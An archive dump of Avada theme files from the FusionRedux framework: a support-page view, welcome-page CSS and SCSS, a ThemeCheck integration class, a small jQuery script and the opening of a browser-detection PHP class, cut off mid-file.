    Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/support.php000064400000012527152342437700024721 0ustar00

    actions(); ?> tabs(); ?>

    Status tab.', 'Avada' ), array( 'a' => array( 'href' => array() ) ) ), esc_url( admin_url( 'tools.php?page=fusionredux-status' ) ) ); ?>





    '; foreach ( $fusionredux as $panel ) { echo ' ' . esc_html($panel->args['display_name']) . ''; if ( ! empty( $panel->args['display_version'] ) ) { echo ' v' . esc_html($panel->args['display_version']); } echo ' 
    '; } echo '
    '; } ?>

    following article before asking for support from us directly.', 'Avada' ), array( 'a' => array( 'href' => array() ) ) ), esc_url( 'http://docs.fusionreduxframework.com/core/support-defined/' ) );?>

    Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/css/fusionredux-welcome.css000064400000025315152342437700026644 0ustar00.about-wrap.fusionredux-status .updated,.about-wrap.fusionredux-status .error{margin-top:10px}.about-wrap.fusionredux-status .updated.fusionredux-message{display:block !important}.about-wrap.fusionredux-status .fusionredux-message{position:relative;border-left-color:#00A2E3 !important;overflow:hidden}.about-wrap.fusionredux-status .fusionredux-message a.skip,.about-wrap.fusionredux-status .fusionredux-message a.docs{opacity:0.5;text-decoration:none !important}.about-wrap.fusionredux-status #debug-report{display:none;margin:10px 0;padding:0;position:relative}.about-wrap.fusionredux-status #debug-report textarea{font-family:monospace;width:100%;margin:0;height:300px;padding:20px;-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;resize:none;font-size:12px;line-height:20px;outline:0}.about-wrap.fusionredux-status table.fusionredux_status_table{margin-bottom:1em}.about-wrap.fusionredux-status table.fusionredux_status_table tr:nth-child(2n) th,.about-wrap.fusionredux-status table.fusionredux_status_table tr:nth-child(2n) td{background:#fcfcfc}.about-wrap.fusionredux-status table.fusionredux_status_table th{font-weight:700;padding:9px}.about-wrap.fusionredux-status table.fusionredux_status_table td:first-child{width:33%}.about-wrap.fusionredux-status table.fusionredux_status_table td.help{width:1em}.about-wrap.fusionredux-status table.fusionredux_status_table td{padding:9px}.about-wrap.fusionredux-status table.fusionredux_status_table td mark{background:transparent none}.about-wrap.fusionredux-status table.fusionredux_status_table td mark.yes{color:#7ad03a}.about-wrap.fusionredux-status table.fusionredux_status_table td mark.no{color:#999}.about-wrap.fusionredux-status table.fusionredux_status_table td mark.error{color:#a00}.about-wrap.fusionredux-status table.fusionredux_status_table td ul{margin:0}.about-wrap.fusionredux-status table.fusionredux_status_table .fusionredux-hint-qtip{cursor:help}.about-wrap #footer-upgrade{display:none}.about-wrap .fusionredux-badge{position:absolute;top:0;background:#00A2E3;padding:20px;color:#efefef;margin:5px 0 0 0;-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.2);box-shadow:0 1px 3px rgba(0,0,0,0.2)}.about-wrap .fusionredux-badge:before{color:#fff;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-size:80px;font-weight:normal;width:165px;height:165px;line-height:165px;text-align:center;position:absolute;top:0;margin:0;vertical-align:middle}.about-wrap .fusionredux-badge .el{background:#00A2E3;display:block !important;font-size:8em;color:#fff;margin-bottom:30px}.about-wrap .fusionredux-badge span{font-weight:600;font-size:14px;text-align:center;position:absolute;bottom:0;background:rgba(50,50,49,0.47);left:0;right:0;padding:8px}.about-wrap .fusionredux-feature{overflow:visible !important;*zoom:1}.about-wrap .fusionredux-feature:before,.about-wrap .fusionredux-feature:after{content:" ";display:table}.about-wrap .fusionredux-feature:after{clear:both}.about-wrap h3+.fusionredux-feature{margin-top:0}.about-wrap .feature-rest div{width:50% !important;-moz-box-sizing:border-box;box-sizing:border-box;margin:0 !important}.about-wrap .feature-rest div.icon:before{font-weight:normal;width:100%;font-size:170px;line-height:125px;color:#9c5d90;display:inline-block;position:relative;text-align:center;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.about-wrap div.icon{width:0 !important;padding:0;margin:20px 0 !important}.about-wrap .about-integrations{background:#fff;margin:20px 0;padding:1px 20px 10px}.about-wrap .changelog h2{line-height:1.4;padding-bottom:0}.about-wrap .changelog .feature-section{padding-top:1.4em}.about-wrap .changelog .prettyprint{overflow-wrap:break-word}.about-wrap .changelog .gist-it-gist .gist-file{border:0 !important;background:0 !important}.about-wrap .changelog .gist-it-gist .gist-file .gist-data{border:0 !important;background:0 !important}.about-wrap .changelog .gist-it-gist .gist-file .gist-data pre{padding-top:10px !important;word-break:break-word}.about-wrap .theme-screenshot{color:#eee;transition:all 0.5s}.about-wrap .theme-screenshot:hover{color:#fff}.about-wrap .theme-screenshot i{text-align:center;display:block;margin:10px;font-size:90px;line-height:200px;transition:all 0.5s ease}.about-wrap .theme-browser .theme{transition:all 0.5s}.about-wrap .theme-browser .theme:hover .theme-screenshot i{transition:all 0.5s;font-size:120px}.about-wrap .theme-browser .theme .theme-screenshot:after{content:inherit;display:inherit;padding-top:inherit}.about-wrap .theme-screenshot figure{position:relative;overflow:hidden;cursor:pointer;margin:0}.about-wrap .theme-screenshot figure i{position:relative;display:block;font-size:11em;opacity:0.8}.about-wrap .theme-screenshot figure figcaption{padding:15px;color:#fff;text-transform:uppercase;font-size:1.25em;-webkit-backface-visibility:hidden;backface-visibility:hidden}.about-wrap .theme-screenshot figure figcaption:before,.about-wrap .theme-screenshot figure figcaption:after{pointer-events:none}.about-wrap .theme-screenshot figure figcaption,.about-wrap .theme-screenshot figure figcaption>a{position:absolute;top:0;left:0;right:0;bottom:0}.about-wrap .theme-screenshot figure figcaption>a{z-index:1000;text-indent:200%;white-space:nowrap;font-size:0;opacity:0}.about-wrap .theme-screenshot figure p{margin:0;letter-spacing:1px;font-size:68.5%}.about-wrap .theme-screenshot figure i{opacity:0.7;-webkit-transition:opacity 0.35s;transition:opacity 0.35s}.about-wrap .theme:hover figcaption::before,.about-wrap .theme:hover figcaption::after{opacity:1;-webkit-transform:scale(1);transform:scale(1)}.about-wrap .theme:hover i{opacity:0.3}.about-wrap .theme:hover p{opacity:1;-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);text-shadow:2px 2px 1px rgba(0,0,0,0.3)}.about-wrap figure figcaption::before,.about-wrap figure figcaption::after{position:absolute;top:15px;right:15px;bottom:15px;left:15px;content:'';opacity:0;-webkit-transition:opacity 0.35s, -webkit-transform 0.35s;transition:opacity 0.35s, transform 0.35s}.about-wrap figure figcaption::before{border-top:1px solid #fff;border-bottom:1px solid #fff;-webkit-transform:scale(0, 1);transform:scale(0, 1)}.about-wrap figure figcaption::after{border-right:1px solid #fff;border-left:1px solid #fff;-webkit-transform:scale(1, 0);transform:scale(1, 0)}.about-wrap figure p{padding:10px;text-transform:none;opacity:0;margin-top:0 !important;-webkit-transition:opacity 0.35s, -webkit-transform 0.35s;transition:opacity 0.35s, transform 0.35s;-webkit-transform:translate3d(0, 20px, 0);transform:translate3d(0, 20px, 0)}.fusionredux-message .twitter-share-button,p.fusionredux-actions .twitter-share-button{margin-top:-3px;margin-left:3px;vertical-align:middle}.fusionredux-message a.donate,.fusionredux-message a.review-us,p.fusionredux-actions a.donate,p.fusionredux-actions a.review-us{opacity:.5;text-decoration:none !important}#fusionredux-message{margin-top:15px !important;display:block !important;margin:5px 0 15px;border-color:#00A2E3}#fusionredux-message h4{margin-top:.5em}@media only screen and (min-width: 2000px){#wpwrap .theme-browser .theme:nth-child(4n),#wpwrap .theme-browser .theme:nth-child(5n){margin-right:3%}}@media screen and (max-width: 500px){.about-wrap h2 .nav-tab{width:100%;margin:0;padding:0;height:40px;line-height:40px;text-align:center;margin-bottom:10px;margin-top:10px}.about-wrap h2.nav-tab-wrapper{padding:0;width:100%}}@media only screen and (max-width: 1120px){.theme-browser .theme:nth-child(odd){margin-right:5% !important}.theme-browser .theme{width:47.5% !important;margin-right:auto !important}}@media screen and (max-width: 620px){.theme-browser .theme{width:100% !important;margin-right:0}}#support_div input.hash{text-align:center}#support_div .hide{display:none}#support_div .previous{opacity:.8}#support_div #supportform{margin-top:10px;text-align:center;position:relative}#support_div #supportform fieldset{background:white;border:0 none;border-radius:3px;box-shadow:0 0 15px 1px rgba(0,0,0,0.4);padding:20px 30px;box-sizing:border-box;width:86%;margin:0 7%;position:absolute}#support_div #supportform fieldset:not(:first-of-type){display:none}#support_div #supportform input,#support_div #supportform textarea{padding:15px;border:1px solid #ccc;border-radius:3px;margin-bottom:10px;width:100%;box-sizing:border-box;font-family:montserrat;color:#2C3E50;font-size:13px}#support_div #supportform input.checkbox{width:initial;margin-top:10px}#support_div #supportform .action-button{width:100px;background:#27AE60;font-weight:bold;color:white;border:0 none;border-radius:1px;cursor:pointer;padding:10px 5px;margin:10px 5px}#support_div #supportform .action-button:disabled{opacity:.5}#support_div #supportform .action-button:hover,#support_div #supportform .action-button:focus{box-shadow:0 0 0 2px white, 0 0 0 3px #27AE60}#support_div #supportform .fs-title{font-size:15px;text-transform:uppercase;color:#2C3E50;margin-bottom:10px}#support_div #supportform .fs-subtitle{font-weight:normal;font-size:13px;text-align:left;color:#666;margin-bottom:20px}#support_div #supportform #toDebug li{text-align:left;width:45%;float:left}#support_div #supportform #user_type{width:100%}#support_div #supportform #user_type td{cursor:pointer;width:50%}#support_div #supportform #user_type td i{font-size:130px;margin-bottom:10px}#support_div #supportform #user_type td:hover i{color:#176C8E}#support_div #supportform #user_type td small{line-height:2.5em;font-style:italic}#support_div #supportform #support_hash{text-align:center;word-break:break-all}#support_div .breadcrumb{display:inline-block;box-shadow:0 0 10px 1px rgba(0,0,0,0.35);overflow:hidden;border-radius:5px;margin:15px 0;counter-reset:flag}#support_div .breadcrumb li{text-decoration:none;outline:none;display:block;float:left;font-size:12px;transition:all 0.5s;width:auto;margin:0;line-height:36px;color:white;padding:0 10px 0 60px;background:#666;position:relative}#support_div .breadcrumb li:first-child{padding-left:46px;border-radius:5px 0 0 5px}#support_div .breadcrumb li:first-child:before{left:14px}#support_div .breadcrumb li:last-child{border-radius:0 5px 5px 0;padding-right:20px}#support_div .breadcrumb li:last-child:after{content:none}#support_div .breadcrumb li.active{background:#333}#support_div .breadcrumb li.active:after{background:#333}#support_div .breadcrumb li.active:before{background:#555}#support_div .breadcrumb li:after{content:'';position:absolute;top:0;right:-18px;width:36px;height:36px;transform:scale(0.707) rotate(45deg);z-index:1;background:#666;box-shadow:2px -2px 0 2px rgba(0,0,0,0.4),3px -3px 0 2px rgba(255,255,255,0.1);border-radius:0 5px 0 50px;transition:all 0.5s}#support_div .breadcrumb li:before{transition:all 0.5s;content:counter(flag);counter-increment:flag;border-radius:100%;width:20px;height:20px;line-height:20px;margin:8px 0;position:absolute;top:0;left:30px;background:#444;font-weight:bold} Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/css/fusionredux-welcome.scss000064400000042416152342437700027030 0ustar00$green: #7ad03a; $red: #a00; $orange: #ffba00; $blue: #2ea2cc; .about-wrap { &.fusionredux-status { .updated, .error { margin-top: 10px; } .updated { &.fusionredux-message { display: block !important; } } .fusionredux-message { position: relative; border-left-color: #00A2E3 !important; overflow: hidden; a.skip, a.docs { opacity: 0.5; text-decoration: none !important; } } #debug-report { display: none; margin: 10px 0; padding: 0; position: relative; textarea { font-family: monospace; width: 100%; margin: 0; height: 300px; padding: 20px; -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0; resize: none; font-size: 12px; line-height: 20px; outline: 0; } } table.fusionredux_status_table { margin-bottom: 1em; tr { &:nth-child(2n) { th, td { background: #fcfcfc; } } } th { font-weight: 700; padding: 9px; } td:first-child { width: 33%; } td.help { width: 1em; } td { padding: 9px; //font-size: 1.1em; mark { background: transparent none; } mark.yes { color: $green; } mark.no { color: #999; } mark.error { color: $red; } ul { margin: 0; } } .fusionredux-hint-qtip { cursor: help; } } } } .about-wrap { #footer-upgrade { display: none;; } .fusionredux-badge { position: absolute; top: 0; background: #00A2E3; padding: 20px; color: #efefef; margin: 5px 0 0 0; -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, .2); box-shadow: 0 1px 3px rgba(0, 0, 0, .2); &:before { color: #fff; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; font-size: 80px; font-weight: normal; width: 165px; height: 165px; line-height: 165px; text-align: center; position: absolute; top: 0; margin: 0; vertical-align: middle; } .el { background: #00A2E3; display: block !important; font-size: 8em; color: #fff; margin-bottom: 30px; } span { font-weight: 600; font-size: 14px; text-align: center; position: absolute; bottom: 0; background: rgba(50, 50, 49, 0.47); left: 0; right: 0; padding: 8px; } } .fusionredux-feature { overflow: visible !important; *zoom: 1; &:before, &:after { content: " "; display: table; } &:after { clear: both; } } h3 + .fusionredux-feature { margin-top: 0; } .feature-rest div { width: 50% !important; -moz-box-sizing: border-box; box-sizing: border-box; margin: 0 !important; &.icon:before { font-weight: normal; width: 100%; font-size: 170px; line-height: 125px; color: #9c5d90; display: inline-block; position: relative; text-align: center; speak: never; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } } div.icon { width: 0 !important; padding: 0; margin: 20px 0 !important; } .about-integrations { background: #fff; margin: 20px 0; padding: 1px 20px 10px; } .changelog { h2 { line-height: 1.4; padding-bottom: 0;; } .feature-section { padding-top: 1.4em; } .prettyprint { overflow-wrap: break-word; } .gist-it-gist { .gist-file { border: 0 !important; background: 0 !important; .gist-data { border: 0 !important; background: 0 !important; pre { padding-top: 10px !important; word-break: break-word; } } } } } .theme-screenshot { color: #eee; transition: all 0.5s; &:hover { color: #fff; } i { text-align: center; display: block; margin: 10px; font-size: 90px; line-height: 200px; transition: all 0.5s ease; } } .theme-browser { .theme { transition: all 0.5s; &:hover .theme-screenshot i { transition: all 0.5s; font-size: 120px; } .theme-screenshot:after { content: inherit; display: inherit; padding-top: inherit; } } } .theme-screenshot { figure { position: relative; overflow: hidden; cursor: pointer; margin: 0; i { position: relative; display: block; font-size: 11em; opacity: 0.8; } figcaption { padding: 15px; color: #fff; text-transform: uppercase; font-size: 1.25em; -webkit-backface-visibility: hidden; backface-visibility: hidden; &:before, &:after { pointer-events: none; } } figcaption, figcaption > a { position: absolute; top: 0; left: 0; right: 0; bottom: 0; } figcaption > a { z-index: 1000; text-indent: 200%; white-space: nowrap; font-size: 0; opacity: 0; } p { margin: 0; letter-spacing: 1px; font-size: 68.5%; } i { opacity: 0.7; -webkit-transition: opacity 0.35s; transition: opacity 0.35s; } } } .theme:hover { figcaption { &::before, &::after { opacity: 1; -webkit-transform: scale(1); transform: scale(1); } } i { opacity: 0.3; } p { opacity: 1; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); text-shadow: 2px 2px 1px rgba(0, 0, 0, .3); } } figure { figcaption { &::before, &::after { position: absolute; top: 15px; right: 15px; bottom: 15px; left: 15px; content: ''; opacity: 0; -webkit-transition: opacity 0.35s, -webkit-transform 0.35s; transition: opacity 0.35s, transform 0.35s; } &::before { border-top: 1px solid #fff; border-bottom: 1px solid #fff; -webkit-transform: scale(0, 1); transform: scale(0, 1); } &::after { border-right: 1px solid #fff; border-left: 1px solid #fff; -webkit-transform: scale(1, 0); transform: scale(1, 0); } } p { padding: 10px; text-transform: none; opacity: 0; margin-top: 0 !important; -webkit-transition: opacity 0.35s, -webkit-transform 0.35s; transition: opacity 0.35s, transform 0.35s; -webkit-transform: translate3d(0, 20px, 0); transform: translate3d(0, 20px, 0); } } } .fusionredux-message, p.fusionredux-actions { .twitter-share-button { margin-top: -3px; margin-left: 3px; vertical-align: middle; } a { &.donate, &.review-us { opacity: .5; text-decoration: none !important; } } } #fusionredux-message { margin-top: 15px !important; display: block !important; margin: 5px 0 15px; border-color: #00A2E3; h4 { margin-top: .5em; } } @media only screen and (min-width: 2000px) { #wpwrap .theme-browser .theme:nth-child(4n), #wpwrap .theme-browser .theme:nth-child(5n) { margin-right: 3%; } } @media screen and (max-width: 500px) { .about-wrap h2 .nav-tab { width: 100%; margin: 0; padding: 0; height: 40px; line-height: 40px; text-align: center; margin-bottom: 10px; margin-top: 10px; } .about-wrap h2.nav-tab-wrapper { padding: 0; width: 100%; } } @media only screen and (max-width: 1120px) { .theme-browser .theme:nth-child(odd) { margin-right: 5% !important; } .theme-browser .theme { width: 47.5% !important; margin-right: auto !important; } } @media screen and (max-width: 620px) { .theme-browser .theme { width: 100% !important; margin-right: 0; } } #support_div { input.hash { text-align: center; } .hide { display: none; } .previous { opacity: .8; } /*form styles*/ #supportform { /*width: 500px;*/ margin-top: 10px; text-align: center; position: relative; fieldset { background: white; border: 0 none; border-radius: 3px; box-shadow: 0 0 15px 1px rgba(0, 0, 0, 0.4); padding: 20px 30px; box-sizing: border-box; width: 86%; margin: 0 7%; /*stacking fieldsets above each other*/ position: absolute; /*Hide all except first fieldset*/ &:not(:first-of-type) { display: none; } } /*inputs*/ input, textarea { padding: 15px; border: 1px solid #ccc; border-radius: 3px; margin-bottom: 10px; width: 100%; box-sizing: border-box; // font-family: montserrat; color: #2C3E50; font-size: 13px; } input.checkbox { width: initial; margin-top: 10px; } /*buttons*/ .action-button { width: 100px; background: #27AE60; font-weight: bold; color: white; border: 0 none; border-radius: 1px; cursor: pointer; padding: 10px 5px; margin: 10px 5px; &:disabled { opacity: .5; } &:hover, &:focus { box-shadow: 0 0 0 2px white, 0 0 0 3px #27AE60; } } /*headings*/ .fs-title { font-size: 15px; text-transform: uppercase; color: #2C3E50; margin-bottom: 10px; } .fs-subtitle { font-weight: normal; font-size: 13px; text-align: left; color: #666; margin-bottom: 20px; } #toDebug li { text-align: left; width: 45%; float: left; } #user_type { width: 100%; td { cursor: pointer; width: 50%; i { font-size: 130px; margin-bottom: 10px; } &:hover i { color: #176C8E; } small { line-height: 2.5em; font-style: italic; } } } #support_hash { text-align: center; word-break: break-all; } } .breadcrumb { /*centering*/ display: inline-block; box-shadow: 0 0 10px 1px rgba(0, 0, 0, 0.35); overflow: hidden; border-radius: 5px; margin: 15px 0; /*Lets add the numbers for each link using CSS counters. flag is the name of the counter. to be defined using counter-reset in the parent element of the links*/ counter-reset: flag; li { text-decoration: none; outline: none; display: block; float: left; font-size: 12px; transition: all 0.5s; width: auto; margin: 0; line-height: 36px; color: white; /*need more margin on the left of links to accomodate the numbers*/ padding: 0 10px 0 60px; background: #666; //background: linear-gradient(#666, #333); position: relative; /*since the first link does not have a triangle before it we can reduce the left padding to make it look consistent with other links*/ &:first-child { padding-left: 46px; border-radius: 5px 0 0 5px; /*to match with the parent's radius*/ &:before { left: 14px; } } &:last-child { border-radius: 0 5px 5px 0; /*this was to prevent glitches on hover*/ padding-right: 20px; /*we dont need an arrow after the last link*/ &:after { content: none; } } &.active { background: #333; //background: linear-gradient(#333, #000); &:after { background: #333; //background: linear-gradient(135deg, #333, #000); } &:before { background: #555; } } /*adding the arrows for the breadcrumbs using rotated pseudo elements*/ &:after { content: ''; position: absolute; top: 0; right: -18px; /*half of square's length*/ /*same dimension as the line-height of .breadcrumb a */ width: 36px; height: 36px; /*as you see the rotated square takes a larger height. which makes it tough to position it properly. So we are going to scale it down so that the diagonals become equal to the line-height of the link. We scale it to 70.7% because if square's: length = 1; diagonal = (1^2 + 1^2)^0.5 = 1.414 (pythagoras theorem) if diagonal required = 1; length = 1/1.414 = 0.707*/ transform: scale(0.707) rotate(45deg); /*we need to prevent the arrows from getting buried under the next link*/ z-index: 1; /*background same as links but the gradient will be rotated to compensate with the transform applied*/ background: #666; //background: linear-gradient(135deg, #666, #333); /*stylish arrow design using box shadow*/ box-shadow: 2px -2px 0 2px rgba(0, 0, 0, 0.4), 3px -3px 0 2px rgba(255, 255, 255, 0.1); /* 5px - for rounded arrows and 50px - to prevent hover glitches on the border created using shadows*/ border-radius: 0 5px 0 50px; transition: all 0.5s; } /*we will use the :before element to show numbers*/ &:before { transition: all 0.5s; content: counter(flag); counter-increment: flag; /*some styles now*/ border-radius: 100%; width: 20px; height: 20px; line-height: 20px; margin: 8px 0; position: absolute; top: 0; left: 30px; background: #444; //background: linear-gradient(#444, #222); font-weight: bold; } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/themecheck/index.php000064400000000033152342437700023611 0ustar00 * @license GPL-3.0+ * @link http://fusionredux.op * @copyright 2015 FusionReduxFramework */ /** * FusionRedux-ThemeCheck class * * @package FusionRedux_ThemeCheck * @author Dovy */ // Don't duplicate me! if ( ! class_exists( 'FusionRedux_ThemeCheck' ) ) { class FusionRedux_ThemeCheck { /** * Plugin version, used for cache-busting of style and script file references. * * @since 1.0.0 * @var string */ protected $version = '1.0.0'; /** * Instance of this class. * * @since 1.0.0 * @var object */ protected static $instance = null; /** * Instance of the FusionRedux class. * * @since 1.0.0 * @var object */ protected static $fusionredux = null; /** * Details of the embedded FusionRedux class. * * @since 1.0.0 * @var object */ protected static $fusionredux_details = null; /** * Slug for various elements. * * @since 1.0.0 * @var string */ protected $slug = 'fusionredux_themecheck'; /** * Initialize the plugin by setting localization, filters, and administration functions. * * @since 1.0.0 */ private function __construct() { if ( ! class_exists( 'ThemeCheckMain' ) ) { return; } // Load admin style sheet and JavaScript. add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_admin_styles' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_admin_scripts' ) ); add_action( 'themecheck_checks_loaded', array( $this, 'disable_checks' ) ); add_action( 'themecheck_checks_loaded', array( $this, 'add_checks' ) ); } /** * Return an instance of this class. * * @since 1.0.0 * @return object A single instance of this class. */ public static function get_instance() { // If the single instance hasn't been set, set it now. if ( null == self::$instance ) { self::$instance = new self; } return self::$instance; } /** * Return an instance of this class. * * @since 1.0.0 * @return object A single instance of this class. */ public static function get_fusionredux_instance() { // If the single instance hasn't been set, set it now. if ( null == self::$fusionredux && FusionReduxFramework::$_as_plugin ) { self::$fusionredux = new FusionReduxFramework(); self::$fusionredux->init(); } return self::$fusionredux; } /** * Return the FusionRedux path info, if had. * * @since 1.0.0 * @return object A single instance of this class. */ public static function get_fusionredux_details( $php_files = array() ) { if ( self::$fusionredux_details === null ) { foreach ( $php_files as $php_key => $phpfile ) { if ( strpos( $phpfile, 'class' . ' FusionReduxFramework {' ) !== false ) { self::$fusionredux_details = array( 'filename' => strtolower( basename( $php_key ) ), 'path' => $php_key, ); self::$fusionredux_details['dir'] = str_replace( basename( $php_key ), '', $php_key ); self::$fusionredux_details['parent_dir'] = str_replace( basename( self::$fusionredux_details['dir'] ) . '/', '', self::$fusionredux_details['dir'] ); } } } if ( self::$fusionredux_details === null ) { self::$fusionredux_details = false; } return self::$fusionredux_details; } /** * Disable Theme-Check checks that aren't relevant for ThemeForest themes * * @since 1.0.0 */ function disable_checks() { global $themechecks; //$checks_to_disable = array( // 'IncludeCheck', // 'I18NCheck', // 'AdminMenu', // 'Bad_Checks', // 'MalwareCheck', // 'Theme_Support', // 'CustomCheck', // 'EditorStyleCheck', // 'IframeCheck', //); // //foreach ( $themechecks as $keyindex => $check ) { // if ( $check instanceof themecheck ) { // $check_class = get_class( $check ); // if ( in_array( $check_class, $checks_to_disable ) ) { // unset( $themechecks[$keyindex] ); // } // } //} } /** * Disable Theme-Check checks that aren't relevant for ThemeForest themes * * @since 1.0.0 */ function add_checks() { global $themechecks; // load all the checks in the checks directory $dir = 'checks'; foreach ( glob( dirname( __FILE__ ) . '/' . $dir . '/*.php' ) as $file ) { require_once wp_normalize_path( $file ); } } /** * Register and enqueue admin-specific style sheet. * * @since 1.0.1 */ public function enqueue_admin_styles() { global $fusion_library_latest_version; $screen = get_current_screen(); if ( 'appearance_page_themecheck' == $screen->id ) { wp_enqueue_style( $this->slug . '-admin-styles', FusionReduxFramework::$_url . 'inc/themecheck/css/admin.css', array(), $fusion_library_latest_version ); } } /** * Register and enqueue admin-specific JavaScript. * * @since 1.0.1 */ public function enqueue_admin_scripts() { global $fusion_library_latest_version; $screen = get_current_screen(); if ( 'appearance_page_themecheck' == $screen->id ) { wp_enqueue_script( $this->slug . '-admin-script', FusionReduxFramework::$_url . 'inc/themecheck/js/admin.js', array( 'jquery' ), $fusion_library_latest_version ); if ( ! isset( $_POST['themename'] ) ) { $intro = ''; $intro .= '

    FusionRedux Theme-Check

    '; $intro .= '

    Extra checks for FusionRedux to ensure you\'re ready for marketplace submission to marketplaces.

    '; $fusionredux_check_intro['text'] = $intro; wp_localize_script( $this->slug . '-admin-script', 'fusionredux_check_intro', $fusionredux_check_intro ); } } } } FusionRedux_ThemeCheck::get_instance(); } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/themecheck/checks/index.php000064400000000033152342437700025051 0ustar00 h2').html( $('#theme-check > h2').html() + ' with FusionRedux Theme-Check' ); if ( typeof fusionredux_check_intro !== 'undefined' ) { $('#theme-check .theme-check').append( fusionredux_check_intro.text ); } $('#theme-check form' ).append('   Extra WP.org Requirements.'); }); }(jQuery)); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/themecheck/lang/index.php000064400000000033152342437700024532 0ustar00getBrowser() == Browser::BROWSER_FIREFOX && $browser->getVersion() >= 2 ) { * echo 'You have FireFox version 2 or greater'; * } * * User Agents Sampled from: http://www.useragentstring.com/ * * This implementation is based on the original work from Gary White * http://apptools.com/phptools/browser/ * */ class Browser { private $_agent = ''; private $_browser_name = ''; private $_version = ''; private $_platform = ''; private $_os = ''; private $_is_aol = false; private $_is_mobile = false; private $_is_tablet = false; private $_is_robot = false; private $_is_facebook = false; private $_aol_version = ''; const BROWSER_UNKNOWN = 'unknown'; const VERSION_UNKNOWN = 'unknown'; const BROWSER_OPERA = 'Opera'; // http://www.opera.com/ const BROWSER_OPERA_MINI = 'Opera Mini'; // http://www.opera.com/mini/ const BROWSER_WEBTV = 'WebTV'; // http://www.webtv.net/pc/ const BROWSER_EDGE = 'Edge'; // https://www.microsoft.com/edge const BROWSER_IE = 'Internet Explorer'; // http://www.microsoft.com/ie/ const BROWSER_POCKET_IE = 'Pocket Internet Explorer'; // http://en.wikipedia.org/wiki/Internet_Explorer_Mobile const BROWSER_KONQUEROR = 'Konqueror'; // http://www.konqueror.org/ const BROWSER_ICAB = 'iCab'; // http://www.icab.de/ const BROWSER_OMNIWEB = 'OmniWeb'; // http://www.omnigroup.com/applications/omniweb/ const BROWSER_FIREBIRD = 'Firebird'; // http://www.ibphoenix.com/ const BROWSER_FIREFOX = 'Firefox'; // http://www.mozilla.com/en-US/firefox/firefox.html const BROWSER_ICEWEASEL = 'Iceweasel'; // http://www.geticeweasel.org/ const BROWSER_SHIRETOKO = 'Shiretoko'; // http://wiki.mozilla.org/Projects/shiretoko const BROWSER_MOZILLA = 'Mozilla'; // http://www.mozilla.com/en-US/ const BROWSER_AMAYA = 'Amaya'; // http://www.w3.org/Amaya/ const BROWSER_LYNX = 'Lynx'; // http://en.wikipedia.org/wiki/Lynx const BROWSER_SAFARI = 'Safari'; // http://apple.com const BROWSER_IPHONE = 'iPhone'; // http://apple.com const BROWSER_IPOD = 'iPod'; // http://apple.com const BROWSER_IPAD = 'iPad'; // http://apple.com const BROWSER_CHROME = 'Chrome'; // http://www.google.com/chrome const BROWSER_ANDROID = 'Android'; // http://www.android.com/ const BROWSER_GOOGLEBOT = 'GoogleBot'; // http://en.wikipedia.org/wiki/Googlebot const BROWSER_SLURP = 'Yahoo! Slurp'; // http://en.wikipedia.org/wiki/Yahoo!_Slurp const BROWSER_W3CVALIDATOR = 'W3C Validator'; // http://validator.w3.org/ const BROWSER_BLACKBERRY = 'BlackBerry'; // http://www.blackberry.com/ const BROWSER_ICECAT = 'IceCat'; // http://en.wikipedia.org/wiki/GNU_IceCat const BROWSER_NOKIA_S60 = 'Nokia S60 OSS Browser'; // http://en.wikipedia.org/wiki/Web_Browser_for_S60 const BROWSER_NOKIA = 'Nokia Browser'; // * all other WAP-based browsers on the Nokia Platform const BROWSER_MSN = 'MSN Browser'; // http://explorer.msn.com/ const BROWSER_MSNBOT = 'MSN Bot'; // http://search.msn.com/msnbot.htm const BROWSER_BINGBOT = 'Bing Bot'; // http://en.wikipedia.org/wiki/Bingbot const BROWSER_VIVALDI = 'Vivalidi'; // https://vivaldi.com/ const BROWSER_NETSCAPE_NAVIGATOR = 'Netscape Navigator'; // http://browser.netscape.com/ (DEPRECATED) const BROWSER_GALEON = 'Galeon'; // http://galeon.sourceforge.net/ (DEPRECATED) const BROWSER_NETPOSITIVE = 'NetPositive'; // http://en.wikipedia.org/wiki/NetPositive (DEPRECATED) const BROWSER_PHOENIX = 'Phoenix'; // http://en.wikipedia.org/wiki/History_of_Mozilla_Firefox (DEPRECATED) const BROWSER_PLAYSTATION = "PlayStation"; const PLATFORM_UNKNOWN = 'unknown'; const PLATFORM_WINDOWS = 'Windows'; const PLATFORM_WINDOWS_CE = 'Windows CE'; const PLATFORM_APPLE = 'Apple'; const PLATFORM_LINUX = 'Linux'; const PLATFORM_OS2 = 'OS/2'; const PLATFORM_BEOS = 'BeOS'; const PLATFORM_IPHONE = 'iPhone'; const PLATFORM_IPOD = 'iPod'; const PLATFORM_IPAD = 'iPad'; const PLATFORM_BLACKBERRY = 'BlackBerry'; const PLATFORM_NOKIA = 'Nokia'; const PLATFORM_FREEBSD = 'FreeBSD'; const PLATFORM_OPENBSD = 'OpenBSD'; const PLATFORM_NETBSD = 'NetBSD'; const PLATFORM_SUNOS = 'SunOS'; const PLATFORM_OPENSOLARIS = 'OpenSolaris'; const PLATFORM_ANDROID = 'Android'; const PLATFORM_PLAYSTATION = "Sony PlayStation"; const OPERATING_SYSTEM_UNKNOWN = 'unknown'; /** * Class constructor */ public function __construct($userAgent = "") { $this->reset(); if ($userAgent != "") { $this->setUserAgent($userAgent); } else { $this->determine(); } } /** * Reset all properties */ public function reset() { $this->_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ""; $this->_browser_name = 